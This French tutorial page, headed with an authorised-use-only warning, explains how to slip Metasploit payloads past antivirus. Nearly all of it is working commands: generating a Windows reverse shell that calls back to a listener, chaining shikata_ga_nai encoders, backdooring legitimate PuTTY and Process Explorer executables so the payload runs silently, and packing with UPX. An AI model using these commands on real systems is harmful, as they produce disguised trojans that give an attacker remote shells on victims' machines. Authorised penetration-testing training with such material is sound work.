Anonymat metasploit
🔒 Contenu de sécurité — usage encadré
Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).
Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.
| Fiche express | |
|---|---|
| Domaine | Évasion antivirus / encodage |
| Outils | msfpayload, msfencode, msfvenom
|
| Contexte | Metasploit |
| Voir aussi | Msfencode · Msfpayload |
Contournement des antivirus lors de la génération d'un payload : les moteurs de détection reconnaissent les charges Metasploit standard. On combine encodage, gabarits d'exécutables et packers pour en modifier la signature.
Création de payload
# forme brute
msfpayload windows/shell_reverse_tcp 0
# exécutable portable (PE) Windows
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 X > /var/www/payload1.exe
Mise en écoute d'un handler dans la msfconsole :
msf> use exploit/multi/handler
msf> set PAYLOAD windows/shell_reverse_tcp
msf> set LHOST 192.168.1.100
msf> set LPORT 31337
Encodage face à l'antivirus
Un payload brut est détecté comme virus. On l'encode via msfencode :
msfencode -l
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 R | \
msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
R produit une sortie brute (raw). L'encodeur shikata_ga_nai est polymorphe : sa signature change à chaque encodage, mais les AV peuvent tout de même le détecter de façon aléatoire.
Multi-encodage par itérations successives (-c) et chaînage d'encodeurs :
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=31337 R | \
msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
msfencode -e x86/alpha_upper -c 2 -t raw | \
msfencode -e x86/shikata_ga_nai -c 5 -t raw | \
msfencode -e x86/countdown -c 5 -t exe > /var/www/payload3.exe
Gabarit d'exécutable personnalisé
Le moteur d'encodage utilise par défaut le gabarit data/templates/template.exe, lui-même surveillé. On peut fournir son propre exécutable hôte (-x) pour ne plus exposer cette signature :
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
unzip ProcessExplorer.zip
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 R | \
msfencode -t exe -x work/procexp.exe -o /var/www/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 E
Lancement furtif
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=8080 R | \
msfencode -t exe -x putty.exe -o /var/www/putty_backdoored.exe -e x86/shikata_ga_nai -k -c 5
L'option -k lance le payload dans un thread séparé. Attention aux applications graphiques, qui ne se ferment pas si l'option n'est pas présente.
Les packers
Les packers compressent et chiffrent un exécutable, transformant sa signature :
apt-get install upx
upx -5 /var/www/payload3.exe
msfvenom
msfvenom unifie msfpayload et msfencode en un seul utilitaire pour l'ensemble des opérations décrites ci-dessus.